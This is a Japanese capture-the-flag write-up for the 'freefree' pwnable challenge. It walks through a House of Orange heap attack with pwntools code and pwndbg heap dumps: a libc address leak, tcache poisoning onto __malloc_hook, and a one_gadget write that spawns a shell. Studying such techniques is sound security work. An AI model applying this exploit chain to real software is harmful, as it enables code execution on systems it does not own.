解題 pwnable – freefree より。
gdb (pwndbg) を使って heap を可視化。
House of Orange での heap の状態変化を追う。
python にて freefree を実行し gdb でアタッチする。
from pwn import *
elf = context.binary = ELF("./freefree")
p = process(elf.path)
gdb.attach(
p,
"""
set follow-fork-mode child
break execve
continue
""",
)
def malloc(var, size):
p.sendlineafter(b"> ", f"{var}=malloc({size})".encode())
def gets(var, data):
p.sendlineafter(b"> ", f"gets({var})".encode())
p.sendline(data)
def puts(var):
p.sendlineafter(b"> ", f"puts({var})".encode())
return p.recvline()[:-1]
malloc("A", 0x10)
input("pause 1, Enter to continue.")
gets("A", b"a" * 0x18 + pack(0xD51))
input("pause 2, Enter to continue.")
malloc("B", 0xD30)
input("pause 3, Enter to continue.")
malloc("C", 0xD20)
input("pause 4, Enter to continue.")
1. libc_base のリーク
方針としては House of Orange で free した旧 Top 領域を malloc で狙って割り当て、その領域の fd (unsorted bin) を読み込むことで libc_base をリークする。
まずは chunk A を確保。# malloc(“A”, 0x10)
最初の Size 0x290 の領域は tcache とのこと。全体で 0x21000 が確保されている。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0x20d50 (with flag bits: 0x20d51)
bof により後続の top の size を上書き修正。# gets(“A”, b”a” * 0x18 + pack(0xD51))
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd50 (with flag bits: 0xd51)
その状態で chunk B (size: 0xD40) を確保。# malloc(“B”, 0xD30)
Top chunk が unsortedbin に入った。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd30 (with flag bits: 0xd31)
fd: 0x7060a781ace0
bk: 0x7060a781ace0
Allocated chunk
Addr: 0x583afdcaafe0
Size: 0x10 (with flag bits: 0x10)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaaff0
Size: 0x10 (with flag bits: 0x11)
Allocated chunk
Addr: 0x583afdcab000
Size: 0x00 (with flag bits: 0x00)
B はどこに行ったかというとこちら。オフセットでいうと +0x21000 の位置。
pwndbg> x/8x 0x583afdccb000
0x583afdccb000: 0x00000000 0x00000000 0x00000d41 0x00000000
0x583afdccb010: 0x00000000 0x00000000 0x00000000 0x00000000
さらに chunk C (size: 0xD30) を確保。# malloc(“C”, 0xD20)
旧 Top chunk を確保
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa290
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaa2b0
Size: 0xd30 (with flag bits: 0xd31)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaafe0
Size: 0x10 (with flag bits: 0x11)
Allocated chunk | PREV_INUSE
Addr: 0x583afdcaaff0
Size: 0x10 (with flag bits: 0x11)
Allocated chunk
Addr: 0x583afdcab000
Size: 0x00 (with flag bits: 0x00)
chunk C はもともと unsorted bins に繋がれていたため、fd: 0x7060a781ace0 が記録されている。これは main_arena から +0x60 の位置になっているため、libc-2.31 の先頭から main_arena へのオフセットが 0x1ebb80 であることを踏まえ、libc_base は以下となる。
unsort = unpack(puts('C').ljust(8, b'\0'))
libc_base = unsort - (0x1ebb80 + 0x60)
2. malloc_hook への one_gadget 書き込み
次に malloc_hook に libc-2.31 の one_gadget (0xe6aee) を書き込むことを考える。
方針としては、新たに chunk D を獲得し、その後続領域を House of Orange で free し tcache へ格納させ、さらにその後続領域の fd に該当する部分に malloc_hook のアドレスを書き込む。
そしてその後続領域を malloc で chunk F として確保すると tcache の fd が malloc_hook になるのでそれを chunk G として確保し one_gadget を書き込む。
まずは chunk D と chunk E を獲得し、その後続領域を House of Orange で tcache に格納させる。なお、glibc 2.28 以降の tcache 個数チェックを回避するため tcache が 2 つ要る。
gets("B", b"b" * 0xD38 + pack(0x2C1))
malloc("D", 0xD30)
gets("D", b"d" * 0xD38 + pack(0x2C1))
malloc("E", 0x2A0)
chunk D の後続領域 (のちの F である) に malloc_hook のアドレスを書き込む。なお、fenceposts 0x20 分を考え、サイズは 2A0 にする。
libc = ELF("libc-2.31.so")
libc.address = libc_base
gets("D", b"d" * 0xD38 + pack(0x2A1) + pack(libc.symbols.__malloc_hook))
chunk F として chunk D の後続領域を確保し、続けて chunk G として malloc_hook の実行領域を確保。
malloc("F", 0x290)
malloc("G", 0x290)
malloc_hook 実行領域に one_gadget を書き込む。
one_gadget = libc_base + 0xE6AEE
print(f"one_gadget: {hex(one_gadget)}")
gets("G", pack(one_gadget))
3. 仕上げ
最後に引っ掛かりポイントがある。libc 2.31 の one_gadget 0xe6aee には実行条件として r12 == NULL がある。
$ one_gadget libc-2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
ghidra で確認すると CALL variable と CALL malloc の間がこんな処理になっている。
00001358 e8 d7 fe CALL variable undefined variable()
ff ff
0000135d 41 89 c4 MOV R12D,EAX
00001360 48 89 df MOV RDI,RBX
00001363 e8 28 fd CALL <EXTERNAL>::malloc void * malloc(size_t __size)
ff ff
CALL variable の結果が RAX (EAX) に入り、それが R12D に格納されているので、variable の return 値が 0 になっていればよい。ソースコードから variable 関数の処理内容を確認し、以下である必要があることがわかる。
malloc("A", 0x10)